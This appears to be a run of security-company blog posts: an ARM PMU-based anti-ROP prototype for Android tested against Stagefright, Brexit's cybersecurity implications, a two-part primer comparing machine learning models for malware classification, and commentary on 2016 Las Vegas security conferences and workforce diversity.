As it turns out, Intel x86 isn’t the only architecture that can count. ARM cores can count too! In fact, a performance monitoring unit (PMU) is quite common on many modern CPU architectures. I covered the adventures of reading ARM processor manuals [1,2] and researching performance counters on various ARM chipsets during my talk at REcon 2016 last week in Montreal, Canada titled “Hardware-Assisted Rootkits & Instrumentation: ARM Edition”.  Much of my talk focused on using the PMU to enable instrumentation tools on ARM and discussing some offense-oriented use-cases such as rootkits. However, as with most findings in the InfoSec field, capabilities can often be utilized for either offensive or defensive purposes.

Much like the Intel PMU, the ARM PMU includes support for a number of general counters, architectural events, and a performance monitoring interrupt feature to signify a counter overflow. However, something interesting surfaced in the ARM reference manuals:  the PMU on several Cortex-A and other custom ARM cores is able to count exceptions for each of the ARM exception vectors individually. By configuring hardware performance counters to overflow on every instance of the event, it is then possible to effectively trap each of these events via performance monitoring interrupt. The Supervisor Call (SVC) exception vector is utilized by many operating systems, including Android, to handle system calls. Trapping SVC instructions offers many interesting use-cases both for offense or defense.    

EMET and Anti-ROP

Code reuse attacks such as Return-Oriented Programming (ROP) have been a staple of the attacker arsenal over the past decade. As such, anti-ROP products have become widespread in the PC market stemming from Microsoft’s BlueHat competition in 2012. Microsoft’s EMET (Enhanced Mitigation Experience Toolkit) [3] was one of the initial byproducts of the competition as it integrated many of the ROP detection techniques presented by one of the contestant winners. Since EMET launched, many third-party security vendors have added similar anti-ROP detections to their products. 

One of the primary weaknesses in EMET and similar tools is that they rely on injecting code into each user-mode process that it protects. First, this actually increases the attack surface for code-reuse attacks given that it adds code and data to the process being attacked. Moreover, EMET bypasses have emerged that actually disarm protections by reusing injected code within EMET.dll. A second key challenge to user-mode anti-ROP protection is the fact that integrity checks are typically introduced by hooking critical API’s. ROP chains could jump past function prologues to avoid a hook point, and hooking every possible API is reminiscent of the old-fashioned arcade game Whac-a-Mole. 

Anti-ROP integrity checks from the kernel have not been explored as often in Windows products likely due to kernel patch protection. However, being able to trap SVC instructions (system calls) on the ARM architecture without modifying the Exception Vector Table (EVT) or any portion of a kernel image opens up new possibilities.  As a fun application of this ARM PMU research, I decided to implement an anti-ROP prototype loadable kernel module for Android without requiring any modifications to the running kernel by trapping all SVC instructions using only performance monitoring interrupts. The performance overhead of this solution was less than 5% on Android, and can monitor all system calls system-wide. 

Blocking Stagefright

I put this prototype to the test by using it against the very popular libstagefright attack vector in Android. Thus, I pulled pieces of Stagefright exploit proof-of-concepts from Mark Brand of Project Zero and NorthBit’s Metaphor on CVE-2015-3864. Both ROP chains utilize the same stack pivot, and the pivot was easily detected on the mprotect or mmap calls. The video below depicts the outcome of the test.

While this is just a proof-of-concept, it hopefully demonstrates the potential for extending hardware-assisted exploit prevention techniques to the ARM architecture. Slides from my RECon talk can be found here.  Be sure to check out our talk at BlackHat USA later this summer where our team will discuss and demonstrate our PMU research on the Intel architecture in order to detect and prevent control-flow hijacks in real-time.

References

1. ARM, ARM Architecture Reference Manual: ARMv7-A and ARMv7-R edition. 

2. ARM, ARM Architecture Reference Manual: ARMv8, for ARMv8-A architecture profile. 

3. Microsoft, Enhanced Mitigation Experience Toolkit 5.5 User’s Guide, Jan 2016

The policy world will spend the day shocked that the Brexiteers defeated the Remainers by 52-48%, leading Prime Minister David Cameron to promise to resign this Fall. The majority of security professionals likely didn’t follow the ebbs and flows of the debate with the same fervor they give to Game of Thrones. With much of the media discussion appropriately focused on the economic and financial implications, there has not been much analysis of the implications for the digital domain. With the Brexit now a reality, it warrants a renewed focus by the security community as the consequences of the Brexit vote play out over the next few days, months and years.

For the most part, the security industry has focused on whether or not a Brexit would make the UK safer (or less safe) with regard to cybersecurity. A poll administered to security professionals claimed that that there likely would not be cybersecurity implications, noting that Britain may simply pursue a national implementation of EU policies. A different poll of security professionals disagreed, concluding that a Brexit would weaken cybersecurity because there would be additional hurdles and, likely, weakened information sharing with the EU. Clearly, it is too early to tell, but a Brexit could continue the devolution toward the Balkanization of the Internet. The UK may opt to implement its own version of EU policies, such as the General Data Protection Regulation, which aims to facilitate commerce through a single Digital Single Market while providing enhanced digital privacy. However, the vote in favor of the Brexit was a vote in favor of greater national control over its economy. There is reason to believe this same desire will also bleed into the digital arena, with a push for digital sovereignty and greater national control over the Internet. As has historically been the case when more isolationist policies defeat internationalist ones, these policies are not single-issue, but address the larger need for national control over all aspects of life. A Brexit may further augment the Balkanization of the Internet if the UK pursues its own sovereign path in the digital domain. 

The tech world largely sided with the Remainers, due to the ease of access to markets as well as a larger talent pool.  This sentiment was especially strong among the Fintech community, who wants London to remain the well-established hub of the financial world. With Bitcoin surging and the pound dropping, Fintech’s concerns about a Brexit are well-founded. With the EU push for a “Digital Single Market”, Fintech companies no longer will benefit from their passport to the European Economic Area, likely resulting in UK-based companies moving to EU countries. The UK will adapt, but London’s role as the financial hub is now increasingly threatened thanks to the Brexit, coupled with the rise in digital currencies, and the EU’s move toward greater digital integration within member-states. 

Finally, while most people in security associate bots with malware, there are initials signs that ‘bots’ attempted to influence voting behavior. Bot traffic comprises 60% of all online traffic, with social media bots found for both the Brexit and remain camps.  Focusing on Twitter traffic for Brexit, remain and neutral hashtags, the most active 1% of contributors made up 30% of the content. As undecided voters generally don’t make up their minds until the last 24-48 hours, these social media bots can potentially influence those last-minute decisions. Moreover, as elections increasingly see a spike in phishing scams, it would be surprising if the same did not occur in the lead up to yesterday’s vote.

With the Brexit now a reality, UK workers will encounter more limitations to their mobility, and UK’s security industry will encounter a rising patchwork of hurdles to sharing threat intelligence and other forms of digital collaboration and regulations. And for those who still fail to see the relevance of the Brexit, even Game of Thrones is impacted, as the show receives EU subsidies while filming from Northern Ireland. Winter may come in a different location next season. That said, the pendulum historically tends to swing between extremes of isolation and integration, progressing eventually toward greater integration. While the Brexit vote may not have registered on many in the community’s radar, it is a very impactful vote that has unknowable security implications.

Machine learning is a fashionable buzzword right now in infosec, and is often referenced as the key to next-gen, signature-less security. But along with all of the hype and buzz, there also is a mind-blowing amount of misunderstanding surrounding machine learning in infosec. Machine learning isn't a silver bullet for all information security problems, and in fact can be detrimental if misinterpreted. For example, company X claims to block 99% of all malware, or company Y's intrusion detection will stop 99% of all attacks, yet customers see an overwhelming number of false positives.  Where’s the disconnect?  What do the accuracy numbers really mean? In fact, these simple statistics lose meaning without the proper context. However, many in the security community lack the basic fundamentals of machine learning, limiting the ability to separate the relevant and credible insights from the noise.  

To help bridge this gap, we're writing a series of machine learning-related blog posts to cut through the fluff and simplify the relevant fundamentals of machine learning for operationalization.  In this first post, we provide a basic description of machine learning models. Infosec is ripe for a multitude of machine learning applications, but we’ll focus our overview on classifying malware, using this application to demonstrate how to compare models, train and test data, and how to interpret results. In subsequent blog posts, we'll compare the most prominent machine learning models for malware classification, and highlight a model framework that we believe works well for the malware-hunting paradigm on a lightweight endpoint sensor. While this post is focused on malware classification, the machine learning fundamentals presented are applicable across all domains of machine learning.

What is Machine Learning?

In general, machine learning is about training a computer to make decisions.  The computer learns to make decisions by observing patterns or structures in a dataset.  In machine learning parlance, the output of training is called a model, which is an imperfect generalization of the dataset, and is used to make predictions on new data.  Machine learning has many advantages, automating many aspects of data munging and analysis at scale. For example, executables are either benign or malicious, but it’s impossible to manually review all of them. A corporate system may contain millions of files that require classification and few, if any, companies have enough staff to manually inspect each file. Machine learning is perfect for this challenge. A machine learning model can classify millions of files in minutes and can generalize better than manually created rules and signatures. 

Supervised learning models are trained with examples to answer precisely these kinds of questions, such as, “is this file malicious?”. In this supervised learning setting, the training set may consist of two million Windows executables consisting of one million malware samples and one million benign samples.  A machine will observe these samples and learn how to differentiate between benign and malicious files in order to answer the question.  Typically, this decision is in the form of a score such as a single value between 0 and 1.  The figure below demonstrates the creation and use of a supervised model.

The model’s scores are converted to yes/no answers by way of a threshold.  For example, if our scores ranged from 0 to 1, we may want to set a threshold of 0.5.  Anything less than 0.5 is benign (“not malicious”), and everything equal or greater than 0.5 is malware (“is malicious”).  However, models are rarely perfect (discussed later) and we may want to tweak this threshold for a more acceptable performance.  For instance, perhaps missing malware is far worse than labeling a benign sample as malware.   We might set the threshold lower, say 0.3.  Or, maybe mislabeling in general is very bad, but our use case will allow for outputting unknown labels.  In this case we can set two thresholds.  We could choose to set everything below 0.3 as benign, everything above 0.7 as malicious, and everything else is unknown. A visualization of this is below. The important point here is that there is no one-size-fits-all solution, and it is essential to understand your data well and adjust models based on the use case and data constraints.

How do we evaluate models?

Metrics are necessary to compare models to determine which model might be most appropriate for a given application. The most obvious metric is accuracy, or the percentage of the decisions that your model gets right after you select appropriate thresholds on the model score. However, accuracy can be very misleading. For example, if 99.9% of your data is benign, then just blindly labeling everything as benign (no work required!) will achieve 99.9% accuracy. But obviously, that's not a useful model!

Results should be reported in terms of false positive rate (FPR), true positive rate (TPR), and false negative rate (FNR). FPR measures the rate in which we label benign samples as malicious.   An FPR of 1/10 would mean that we classify 1 in 10 (or 10%) of all benign samples incorrectly as malicious. This number should be as close to 0 as possible.  TPR measures the rate in which we label malicious samples as malicious.  A TPR of 8/10 would mean that we classify 8 in 10 (or 80%) of all malicious samples as malicious.  We want this number to be as close as possible to 1.  FNR measures the rate in which we label malicious samples as benign and is the opposite of TPR (equal to 1-TPR).  A 9/10 (9 in 10) TPR is the same as 1-9/10 or a 1/10 (1 in 10) FNR.  Like FPR, we want this number to be as close to 0 as possible.

Using these three measurements, our results don't look so great for the useless model above (always labeling a sample benign) evaluated only on benign samples.  Our FPR rate is 0% (perfect!), but TPR is now 0%.  Since we never label anything as positive, we will not get any false positives.  But this also means we will never get a true positive, and while our accuracy may look great, our model is actually performing quite poorly.

This tradeoff between FPR and TPR can be seen explicitly in a model's receiver operating characteristic (ROC) curve.  A ROC curve for a given model shows the FPR / TPR tradeoff over all thresholds on the model’s score.

What FPR, TPR and FNR metrics really mean to a user greatly depends on scale.  Let's say that we have a FPR of 0.001 (1/1000).  Sounds great, right?  Well, a Windows 7 x64 box has approximately 50,000 executables on a given system. Let’s say you have 40,000 endpoints across your network. Absent any actions to rectify the false positives, this model would produce approximately two million false positives if applied to all Windows executables on all systems across your entire network!  If your workflow calls for even the most basic triage on alerts, which it should, this would be an inordinate amount of work.­­

Importance of Training and Testing Data

So is the key to good machine learning a good metric?  Nope! We also have to provide our learning stage with good training and testing data.  Imagine all of our training malware samples update the registry, but none of the benign samples do.  In this example, a model could generalize anything that touches the registry as malware, and anything that does not touch the registry is benign.  This, of course, is wrong and our model will fail miserably in the real world.  This example highlights a phenomena known as overtraining or overfitting and occurs when our model becomes too specific to our training set and does not generalize.  It also highlights a problem of bias, where our training/testing data over-represents a sub-population of the real-world data. For example, if the training data disproportionately is overpopulated with many samples from a small number of malware families, you may end up with a model that does a great job detecting new variants of those specific families but a lousy job detecting anything else.

Why is this important?  Overfitting and bias can lead to misleading performance.   Let's assume you are training your malware classification model on 5 families (benign + 4 different malware families).  Let's also assume that you computed FPR, TPR, and FNR on a different set of samples consisting of the same 5 families.  We'll also assume that your model is awesome and gets near perfect performance.  Sounds great, right?  Not so fast! What do you think will happen when you run this model in the real world and it’s forced to classify families of malware that it has never seen?  If your answer is "fail miserably" then you're probably correct.

Good performance metrics are not enough.  The training/testing data must represent and function in the real world if you expect similar runtime performance as the performance measured during test time.  

Acquiring Data

So where do you get good train and test data?  At Endgame we leverage a variety of sources ranging from public aggregators and corporate partnerships to our own globally distributed network of sensors. Not only do these sources provide a vast of amount of malicious samples, but they also aid in acquiring benign samples helping Endgame achieve a more diverse set of data.  All of this allows us to gather real world data to best train our classifiers.  However, your training data can never be perfect.  In the case of malware, samples are always changing (such as new obfuscation techniques) and new families of malware will be deployed.  To counteract this ever-evolving field, we must be diligent in collecting new data and retraining our models as often as possible. Without a constantly evolving model, we will have blinds spots and adversaries are sure to exploit them.  Yes, the game of cat and mouse still exists when we use machine learning!

Acquiring Labels

Now that your training/testing data is in the computer, we need to decide which samples are benign and which samples are malicious.  Unlabeled or poorly labeled data will certainly lead to unsuccessful models in the real world. Malware classification raises some interesting labeling problems ranging from the adversary use of benign tools for nefarious means to new, ever-evolving malware that may go undetected. 

• Unlabeled data. Data acquired from a sensor is often unlabeled, and presents a serious problem for machine learning. Unlabeled binaries require human expertise to reverse engineer and manually label the data, which is an expensive operation that does not scale well to the size of the training set needed for model creation.  
• Incorrectly labeled data. Unfortunately, when classifying malware, the malware is often incorrectly labeled. Whether labeled by humans or machines, the necessary signatures may not be accessible or known, and therefore by default the malware is classified as benign. This will ultimately confuse the classifier and degrade performance in terms in FPR, TPR, and FNR.  
• Nebulous or inconsistent definitions. There is no consistent or concrete definition of what constitutes malware.  For example, it is common for attackers to use administrative tools to navigate a system post-attack. These tools aren't inherently malicious, but they often have the same capabilities as their malicious counterparts (e.g., the ability to send network commands, view processes, dump passwords) and are often used in attacks.  On the flip side, they are readily available and often used on a system administrator's machine.  Constantly calling them malicious may annoy those administrators enough to entirely ignore your model's output.  Decisions have to be made on what labels, and how much weight, to give these sorts of programs during training to ensure models generalize instead of overfit, and support business operations instead of becoming a nuisance. 

The table below summarizes some primary challenges of labeling and their solutions.

Conclusion

So remember, machine learning is awesome, but it is not a silver bullet. While machine learning isn’t a silver bullet and signatures and IOCs are not going away, some of the most relevant, impactful advances in infosec will stem from machine learning. Machine learning will help leapfrog our detection and prevention capabilities so they can better compete with modern attacker techniques, but it requires a lot of effort to build something useful, and, like all approaches, will never be perfect.  Each iterative improvement to a machine learning model will be met with a novel technique by an adversary, which is why the models must evolve and adapt just as adversaries do.  

Evaluating the performance of machine learning models is complicated and results are often not as really, really, ridiculously good looking as the latest marketecture would have you believe. When it comes to security you should always be a skeptic and the same goes for machine learning. If you are not a domain expert just keep the following questions in mind the next time you are navigating the jungle of separating machine learning fact from fiction. 

We believe that machine learning has the potential to revolutionize the field of security.  However, it does have its limitations.  Knowing these limitations will allow you to deploy the best solutions, which will require both machine learning and conventional techniques such as signatures, rules, and technique-based detections. Now that you are armed with a high-level introduction to interpreting machine learning models, the next step is choosing the appropriate model. There are a myriad of tradeoffs to consider when selecting a model for a particular task and this will be the focus of our next post. Until then, keep this checklist handy and you too will be able to detect data science fact from the data science fiction.

In our previous blog, we reviewed some of the core fundamentals in machine learning with respect to malware classification.  We provided several criteria for properly evaluating a machine learning model to facilitate a more thorough understanding of its true performance.  In this piece, we dig deeper into the operationalization of machine learning, covering the basics of feature engineering and a few commonly used types of machine learning models. We conclude with a head-to-head comparison of several models to illustrate the various strengths and performance tradeoffs of these varied machine learning implementations. When operationalizing machine learning models, organizations should seek the solution that best balances their unique requirements, including query time, efficacy performance, and overall system performance impact.

Feature Engineering

Feature engineering is a major component of most machine learning tasks, and entails taking some raw piece of data, such as malware, and turning it into a meaningful vector of features.  Features are a numeric representation of the raw data that can be used natively by machine learning models. For this post, our feature vector is a vector of floats generated from a static Portable Executable (PE) file. We follow the feature extraction techniques outlined in Saxe and Berlin’s malware detection piece, and use these features for all classifiers.   The features include:

• Byte-level histogram
• Entropy measured in a sliding window across the PE file
• Information parsed from the PE file, including imports, exports, section names, section entropy, resources, etc.

Similar to previous research, these features are condensed into a vector of fixed length of 1,562 floats.   Turning a seemingly infinite list of imports, exports, etc. into a fixed length vector of floats may seem like an impossible task, but feature hashing makes this possible. Think of the vector of floats as a hash table, wherein a hashing function maps one or more features to a single feature that accumulates the values that correspond to those features.   This technique is quite common and is surprisingly effective. 

Models

Now that we have defined our features, it is time to select the models.  There are too many machine learning models for a complete review, so we focus on seven common models: naive Bayes, logistic regression, support vector machine, random forest classifier, gradient-boosted decision tree, k-nearest neighbor classifier, and a deep learning model. In our descriptions below, we explain how each model performs as they pertain to malware classification, although clearly they support many other use cases.

Naive Bayes

Naive Bayes is one of the most elementary machine learning models.  Naive Bayes crudely models the features of each class as having been generated randomly from some user-specified statistical distribution, like the Gaussian distribution.  Its name comes from its reliance on Bayes theorem with a naive assumption that all features are independent of one another.  Independence of features implies that the occurrence of one feature (e.g., entropy of the .text section) has no bearing on the value or occurrence of another feature (e.g., an import of FtpGetFile fromWinINet.dll).  It is termed naive since this assumption rarely holds true for all features in most applications (e.g., an import of FtpGetFile is correlated with an import of InternetOpen). Despite its simplicity, naive Bayes works surprisingly well in some real world problems such as spam filtering. 

Logistic Regression

Logistic regression (LR) is a model that learns a mapping from a vector of feature values to a number between 0 (benign) and 1 (malicious).  LR learns one coefficient for each element of a sample's feature vector, multiplying the value of each element by the corresponding coefficient, and summing up those products across all elements. LR then compresses that number to a value between 0 and 1 using a logistic function, and approximates from the features the target label (0=benign, 1=malicious) provided in the training set.

Support Vector Machine

A support vector machine (SVM) is a so-called max-margin classifier, of which we only consider a linear SVM.  Linear models seek a straight line that bisects malicious from benign samples in our feature space.  In turn, a linear SVM aims to find the fattest line/slab that separates malicious from benign. That is, of all slabs that could separate malicious features from benign features, SVM finds the one that occupies the most empty space between the malicious and benign classes.  This "fatness" objective provides a measure of robustness against new malware samples that may begin to encroach on the margin between malicious and benign samples.

Random Forest Classifier

A random forest classifier is a model that learns to partition the feature space using a committee of decision trees.  Each decision tree is trained to essentially play a game of "20 questions" to determine whether a sample's features represent a malicious or benign file. The number of questions and which questions to ask are learned by an algorithm. To provide good generalization without overfitting, each decision tree is trained only on a subset of the data and questions can be asked only from a subset of features (hence, "random").  Tens or even hundreds of decision trees of this type (hence, "forest") are bagged together in a single model, where the final model's output is a majority vote of each randomized decision tree in the forest.

Gradient-Boosted Decision Tree

Like the random forest classifier, a gradient-boosted decision tree (GBDT) combines the decision of many small decision trees.  In this case, however, the number of questions that can be asked about the features are restricted to a relatively small number (perhaps one to ten questions per tree).  From this initial tree, the model makes several errors, and in the next round (i.e., next decision tree), the algorithm focuses more attention on correcting errors from the previous round.  After tens or hundreds of rounds, a final determination is made by a weighted vote of all the trees.  

K-Nearest Neighbors (k-NN)

k-nearest neighbors (k-NN) is another extremely simple model.  The idea is that you can classify an object by its closest (or most similar) neighbors.  For example, in a database of ten million malware and benign samples, if a file's ten most similar matches in the database are all malware, then the object is probably malware.  This classifier is non-parametric (doesn't try to fit the data using some user-prescribed function) and completely lazy (requires no training!).  Nevertheless, in straightforward implementations one must search the entire dataset for every query, so memory and speed may be limiting factors for large datasets. A whole branch of research is devoted to approximating nearest neighbor search to improve query speed.

Deep Learning

Deep learning refers to a broad class of models defined by layers of neural networks.  Since this class is so broad, we briefly describe only the deep learning classifier in the malware detection paper previously referenced in the feature engineering section.  This model consists of 1 input layer, 2 fully-connected hidden layers, and an output classifier layer. Our implementation of the model differs slightly from that paper in an effort to improve model training convergence.  It should be noted that, like all models in this blog post, this deep learning model does not represent any company's next-gen malware product, and is intended only for coarse comparison with other model types. Since deep learning is a fast moving research field and may produce models of varying complexity and performance, it would be unfair and misleading to draw narrow product conclusions about this particular embodiment of deep learning.

Bake-Off Framework

With our features and models selected, it is now time to evaluate the performance of each model and explore whether there is a best-of-breed model for malware classification.

As we previously highlighted in our last post, one must take care when comparing models: "accuracy" alone doesn't tell the whole story.  We discussed several performance measures including false positive rate (FPR), false negative rate (FNR), true positive rate (TPR)—which depend on a user-specified threshold on a model's output—and the Receiver Operating Characteristic (ROC) which explicitly shows the tradeoff between FPR and TPR for all possible model score thresholds.  In what follows, we'll provide a summary of the model performance by reporting the area under the ROC curve (AUC), which can be thought of as the TPR averaged over all possible thresholds of the model score: it allows performance comparisons without first selecting an arbitrary threshold.  However, at the end of the day, a model must make an up/down decision on whether the sample is malicious, so in addition to AUC, we also report FPR and FNR with a threshold set at the "middle" value (0.5 for models that report scores between 0 and 1).

Since these metrics are not the only consideration for a particular task, we also compare model size (in memory) and speed (query rate measured in samples per second using wall clock time).  Wall clock time can be misleading due to differences in machine specs, threading, and current process loads. We attempt to mitigate these issues by testing all models on the same machine, under minimal load, and all speed measurements are done on a single thread.  

Experimental Setup

We implement our bake-off test in Python leveraging scikit-learn, Keras, and a custom NearestNeighbor algorithm. We train each of these models against the same dataset: a random sample of 2 million unique malicious and benign PE files. Unfortunately, in the real world data doesn’t follow a perfect Gaussian distribution, but rather is often quite skewed or imperfect. In this case, the breakdown of malicious to benign is 98/2, highlighting the class imbalance problem mentioned in the previous post. We attempt to maximize the effectiveness of each model during training by performing a grid search to determine ideal parameters for learning. Each machine learning algorithm has a set of hand tunable parameters that determine how the training is conducted. In an exhaustive grid search, the models are trained with multiple combinations of these parameters and the performance at each grid point is analyzed.

Performance measures were calculated using a training set and a testing set.  The models are trained on the training set, then performance measures are calculated on the disjoint testing set.  The disjointness is key: if our testing set were to contain items from our training set, then we would be cheating and the results would not represent the performance of our classifier in the real world.  However, it is possible to hand craft the training and testing set to achieve better (or worse) performance.  To remove any bias, we use a technique called cross-validation. Cross-validation creates several randomly-selected training/test splits and the performance metrics can be aggregated over all sets.  The number of training/test set divisions is called folds and we use ten folds in our experiments. 

Results

Results for the bake-off and interpretation of each model's performance are given in Table 1. False positive and false negative rates were calculated using a scoring threshold naively chosen halfway between benign and malicious.

Table 1: AUC, FP/FN rate and Model Metrics for Classifiers

* Query time does not include time required to extract features

** Update: We used a default threshold for each model (0.5 on a scale of 0 to1) to report FP and FN rates. As with other details in each model, the threshold would be chosen in a real-world scenario to a fixed low FP rate with a corresponding trade-off in FN rate. AUC is an average measure of accuracy before thresholding, and is the most appropriate metric that should be used here to compare models.

AUC

The top performing models based on the average AUC are the boosted trees models (GBDT and Random Forest), as well as the Deep Learning and k-NN models, with scores hovering around 0.99. These models all had significantly smaller FP/FN rates than the next highest scoring models, SVM and Logistic Regression, which saw FP rates in the 20% range. A model that produces 1 FP for every 5 samples is far too many to be used operationally (imagine the alerts!). Naive Bayes performed poorly in this exercise likely due to a lack of feature independence between the malicious and benign labels. 

Model Size

The size of the final model has little to do with an ability to correctly classify samples, but it is extremely important for real-world implementation for classifying malware on a user’s machine. The bigger the model is on disk (or in memory), the more resources it consumes. Larger models are infeasible on an endpoint because of the negative impact on the host environment. Avoiding any degradation to the user’s experience on their machine is paramount for any successful endpoint solution.The results of the bake-off show three major classes of model sizes by impact of the host system.

Figure 1 – Model AUC vs. Model Size on Disk

As Table 1 depicts, SVM, Logistic Regression, Naive Bayes, and GBDT models consumed less than 1MB, which would be considered small and have a negligible impact on a system.  After eliminating the models that had unreasonable average AUC scores, GBDT again outperforms the competition. 

Both Deep Learning and Random Forest performed well in the AUC test, but the size of the models on disk could have a negative impact. While 80-100MB is certainly not large, these models look like monsters compared to the tiny GBDT. Moreover, there is not a significant enough increase in AUC to warrant a model of this size.

Finally, k-NN weighed in at 10.5GB which is probably not a viable solution for an endpoint model. Remember: k-NN has no parameters, instead it requires maintaining the entire training set in order to perform a nearest neighbor search! With its high AUC average and low FP/FN rates, k-NN represents a potentially viable cloud-based classification solution.

Query Time 

An endpoint malware classifier must make snap decisions on whether a newly observed binary is malicious or benign. Failure to do so could result in the execution of a binary that wreaks havoc on an individual machine or an enterprise network. The ability for a model to quickly classify multiple binaries could be a major differentiator in our search for an ideal model. Figure 3 shows how many queries can be made against each model per second. This time does not include feature calculation, since that time is equivalent for each model.

Figure 2 – Model AUC vs. Query per second

SVM and Logistic Regression outperformed the rest of the competition in this category. Both models only require a couple of addition and multiplication operations per feature at query time. GBDT and Random Forest models were in the next tier for speed. The query time of these models is dependent on the size and quantity of the decision trees they've trained. The number and size of those trees can be controlled during training and there is a tradeoff between speed and classification accuracy here. For our bake-off, both models were tuned for best classification accuracy, so it is nice to see those models still performing quickly. For each query, Deep Learning involves a series of multiple matrix multiplications for each query, and k-NN involves searching through the entire training set for each query, so it is not surprising to see that these models are slower.

Other Considerations

AUC, model size, and query time are all important metrics for evaluating machine learning models, but there are other areas that warrant consideration, too. For instance, training time is an important factor, particularly when your dataset is constantly evolving. Malware is a great example of this problem as new families and attack vectors are constantly developed. The ability to quickly retrain and evaluate models is crucial to keeping pace with the latest malicious techniques. Table 2 details each model’s initial training time and how the model can be updated.

Table 2 – Model Training Time and Update Method

** We show GPU instead of CPU time due to default implementation and customary training method.  The CPU time would consist of nearly 16 hours (57K seconds!)

*** SVM and LR models could also be conveniently trained using a GPU.  However, default implementations of publicly available packages leverage CPU.

Final Thoughts

Machine learning has garnered a lot of hype in the security industry. However, machine learning models used in products may differ in architecture, implementation, training set quality, quantity and labeling (including the use of unlabeled samples!), feature sets, and thresholds.  None of the models analyzed represent any company's next-gen malware product, and are intended only for coarse comparison with other model types.   That said, one may coarsely compare results to get a sense of suitability to a particular application (e.g., endpoint vs. cloud-based malware detection).  

As the bake-off demonstrated, each model has strengths and weaknesses. GBDTs are an especially convenient model for real-time endpoint-based malware classification due to a good combination of high AUC, small size, and fast query speed. However, GBDTs require a complete retraining to update a model, which is the most time consuming training process of all tested algorithms. Both Random Forest and k-NN models performed nearly as well as GBDT (avg. AUC), but were significantly larger (in size on disk) models.  However, despite its size, k-NN requires no training at all! 

There is no magical formula for choosing the machine learning model that's right for your situation. Some of the considerations that we've discussed, like query time or training time, might not matter in other application areas. In some situations, you're trying to provide the best experience to the user of your model and so convenient metrics for optimization like AUC may not exist. When computing resources are so cheap and developer and data scientist time so expensive, it might be best to go with the model with which you have the most experience and best meets your operational requirements. The next step to building a great classifier involves handling corner cases, continually cleaning, managing, and improving your collected dataset, and verifying your results at every step of the way. In the next and final post in this three-part series, we'll consider some of the finer details of implementing a lightweight endpoint malware classifier using GBDTs.

"But the real magic comes when you take the expertise that you've got in security and you translate it and you rebuild it and you reform it. Don't be afraid to take the knowledge you have and make it accessible to vastly more people."  Dan Kaminsky during the Black Hat 2016 keynote address.

Information sharing – snuck semi-discreetly into last year’s omnibus bill– is often portrayed as the policy community’s silver bullet for increased security. The policy community does not maintain a monopoly on silver bullets, as many buzz words and hype made the rounds during last week’s major infosec conferences – BSidesLV, Black Hat, and Defcon. Both communities’ propensity for bumper sticker solutions to extremely complex issues aside, there is something to be said for greater information sharing, not just of data as it is currently conceived, but more so of information sharing across communities. The combination of last week’s conferences, with President Obama’s recent directives and Cybersecurity National Action Plan (CNAP) priorities, all point back to the need for greater information sharing. However, we need to reframe the notion of information sharing such that the emphasis becomes one of laying the foundation for greater accessibility of inbound and outbound knowledge. That is, the industry requires a greater diversity of perspectives to compliment the current phenomenal domain expertise, and help overcome some of today’s greatest challenges in security.

Greater Integration of Strategic, Business, and Technical Thinkers

It’s a useful heuristic to gauge this notion of knowledge accessibility by looking at the Vegas conferences through the lens of two of CNAP’s major objectives. First, CNAP called for the creation of a Commission on enhancing cyber security that would represent a public/private partnership. At its core, the goal is to combine the top “strategic, business, and technical thinkers” to dramatically innovate the policy realm, very similar to the government’s outreach to the larger tech community, as epitomized by organizations like DIUx and collaborative projects such as Hack the Pentagon. However, last week there was a noticeably smaller number of policy panels. In fact, using the Black Hat categorization filter, there were only seven policy talks, the majority of which likely wouldn’t be considered policy topics by their authors or by policy wonks. Previous years had much greater engagement by the government or those in the policy community, as well as more direct content straight from the policy community. Each year, these talks tend to be very well attended, and this year was no exception. Jason Healey’s talk on technologies and policies for a defensible cyberspace was standing room only, AND people stuck around to ask questions instead of bolting as so often happens.

Why does this matter? Well, let’s look at one of the few policy-relevant talks last week, where two Congressmen told the Defcon attendees that it will likely take years for the government to begin to reach some initial resolutions on encryption. There is no guarantee that, even after that prolonged time, the solution will be something both technically and politically viable. The latest round of Wassenaar Arrangement discussions validates this, with many security experts finding it not only off the mark, but overall detrimental to international cybersecurity.  While the security industry certainly can’t speed up the legislative process, it can participate more to ensure that those proposals that do emerge are technically sound and viable. This requires greater interaction between the communities, including at these extremely technical conferences. Clearly, the technical aspect should continue to dominate, but there needs to be more than a few loosely categorized panels to truly stimulate the policy innovation so desperately needed.

Boost Cyber Workforce

Another objective of the CNAP is to boost the cyber workforce. Identified as the most critical skills gap, most solutions point to greater training and education as the key solution. As many acknowledge, this may be useful in the future, but does nothing for the current dearth of talented applicants. In contrast, many of the skills required actually can be acquired from other disciplines, for whom security does not seem like a natural career path. Look at data science, for example, where disciplines from electrical engineering to physics to materials science can provide the modeling and coding skills essential for today’s security data environment. To illustrate this point, Endgame was fortunate enough to have speakers at all three main conferences, covering a range of topics including machine learning, blockchain, control-flow integrity, and steganography. The speakers’ backgrounds, in turn, vary significantly and demonstrate the importance of the cross-pollination of ideas across disciplines, and the value of cross-functional teams. Unfortunately, looking at most security job reqs today, they remain so focused on specific security skills or languages that they omit the most important aspects of the security workforce – the ability to adapt, innovate, collaborate, and maintain strong technical acumen.

Not only can disciplinary diversity help augment the current workforce, but it requires a diversity of perspectives of all kinds, including various educational backgrounds, disciplines, and race.  This clearly also includes the overwhelming gender gap in the industry that seems to only be getting worse. Defcon created the most buzz in this area on social media in response to a hacker jeopardy category.  In contrast, there is some good news to report – BSidesLV had roughly 22% female speakers, and two of three keynotes were women. For any other industry, 22% would be nothing to cheer about, but given the declining current rate of roughly 8-11% women in the industry, 22% looks pretty good! Conference culture can go a long, long way toward helping impact this gender gap. From reducing the number of manels to increasing the number of female speakers to creating a conference culture that penalizes blatant harassment, the conferences are a key gauge of the state of the industry. Unfortunately, it appears to remain stagnant at best, or possibly trending in the wrong direction.

Biggest Bang for the Buck

In the keynote address at BlackHat, Dan Kaminsky stressed the need to make the knowledge of the industry more accessible, to translate it, and reform it. This is exactly what the industry needs to help tackle what is truly one of the most complex and dynamic geopolitical environments, which happens to coincide with one of the most impactful technological revolutions. Last week at BSidesLV, Black Hat, and Defcon, we witnessed some truly phenomenal technical breakthroughs. Unfortunately, they alone are not enough. The gap between policy and security, and the workforce gap also will continue to impact private and public security for the foreseeable future. Fortunately, there are simple and impactful solutions that exist to these two major gaps impacting the industry. My vote for this year’s biggest bang for the buck toward addressing one of these gaps is TiaraCon, a movement that caught on quickly and garnered funding to provide a safe and supportive hacking environment for all genders. Let’s hope other social movements similarly gain momentum, because the status quo will not be sustainable against today’s threat landscape.